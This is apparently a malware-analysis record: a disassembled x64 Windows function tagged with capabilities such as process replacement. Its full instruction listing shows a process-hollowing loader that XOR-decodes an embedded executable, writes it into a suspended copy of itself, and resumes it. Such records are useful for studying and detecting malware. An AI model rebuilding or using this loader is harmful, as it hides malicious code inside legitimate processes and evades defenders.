Function at 0x140011316
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Resume thread
Use process replacement

Disassembly:
jmp 0x14001b1a0
push rbp
push rdi
sub rsp, 0xcc8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x22e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14049b0d8]
xor rax, rbp
mov qword [rbp + 0xc60], rax
lea rcx, [0x1404a22a4]
call fcn.140011893
lea r8, [rbp + 4]
lea rdx, [0x140026ee0]
mov ecx, 0x84
call fcn.140011280
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x14001b22a
lea rdx, [0x140027410]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400110f5
lea rdx, [0x140011050]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x14001b5db
mov byte [rbp + 0x44], 0x6b
mov eax, dword [rbp + 4]
mov ecx, eax
call fcn.14001137f
mov qword [rbp + 0xc08], rax
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0x68], rax
mov dword [rbp + 0x84], 0
jmp 0x14001b264
mov eax, dword [rbp + 0x84]
inc eax
mov dword [rbp + 0x84], eax
mov eax, dword [rbp + 4]
cmp dword [rbp + 0x84], eax
jae 0x14001b292
mov eax, dword [rbp + 0x84]
mov rcx, qword [rbp + 0x28]
movzx eax, byte [rcx + rax]
movsx ecx, byte [rbp + 0x44]
xor eax, ecx
mov ecx, dword [rbp + 0x84]
mov rdx, qword [rbp + 0x68]
mov byte [rdx + rcx], al
jmp 0x14001b256
mov rax, qword [rbp + 0x68]
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0xa8]
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0xc8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0xa8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
cmp dword [rax], 0x4550
jne 0x14001b595
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0x128]
call fcn.140011681
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x160]
call fcn.140011681
mov dword [rbp + 0x160], 0x68
mov r8d, 0x104
lea rdx, [rbp + 0x210]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rbp + 0x128]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x160]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x210]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14001b595
mov dword [rbp + 0x370], 0x10000b
lea rdx, [rbp + 0x340]
mov rcx, qword [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x14001b595
mov rax, qword [rbp + 0xe8]
mov eax, dword [rax + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
mov rax, qword [rbp + 0xe8]
mov rdx, qword [rax + 0x30]
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp + 0xe8]
mov eax, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rbp + 0xa8]
mov rdx, qword [rbp + 0x1e8]
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rbp + 0x824], 0
jmp 0x14001b426
mov eax, dword [rbp + 0x824]
inc eax
mov dword [rbp + 0x824], eax
mov rax, qword [rbp + 0xe8]
movzx eax, word [rax + 6]
cmp dword [rbp + 0x824], eax
jae 0x14001b4c7
mov rax, qword [rbp + 0xc8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0xa8]
add rcx, rax
mov rax, rcx
mov ecx, dword [rbp + 0x824]
imul rcx, rcx, 0x28
lea rax, [rax + rcx + 0x108]
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov eax, dword [rax + 0x10]
mov rcx, qword [rbp + 0x108]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rbp + 0xa8]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rbp + 0x108]
mov edx, dword [rdx + 0xc]
mov r8, qword [rbp + 0x1e8]
add r8, rdx
mov rdx, r8
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x14001b418
mov rax, qword [rbp + 0xe8]
add rax, 0x30
mov rcx, qword [rbp + 0x3c8]
add rcx, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, rax
mov rdx, rcx
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [rbp + 0xe8]
mov eax, dword [rax + 0x28]
mov rcx, qword [rbp + 0x1e8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x3c0], rax
lea rdx, [rbp + 0x340]
mov rcx, qword [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rax, qword [rbp + 0x68]
mov qword [rbp + 0xc28], rax
mov rcx, qword [rbp + 0xc28]
call fcn.1400113f7
cmp qword [rbp + 0xc28], 0
jne 0x14001b57e
mov qword [rbp + 0xc58], 0
jmp 0x14001b591
mov qword [rbp + 0x68], 0x8123
mov rax, qword [rbp + 0x68]
mov qword [rbp + 0xc58], rax
xor eax, eax
jmp 0x14001b5db
mov rax, qword [rbp + 0x68]
mov qword [rbp + 0xc48], rax
mov rcx, qword [rbp + 0xc48]
call fcn.1400113f7
cmp qword [rbp + 0xc48], 0
jne 0x14001b5c3
mov qword [rbp + 0xc58], 0
jmp 0x14001b5d6
mov qword [rbp + 0x68], 0x8123
mov rax, qword [rbp + 0x68]
mov qword [rbp + 0xc58], rax
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x1400273b0]
call fcn.14001171c
mov rax, rdi
mov rcx, qword [rbp + 0xc60]
xor rcx, rbp
call fcn.140011406
lea rsp, [rbp + 0xc78]
pop rdi
pop rbp
ret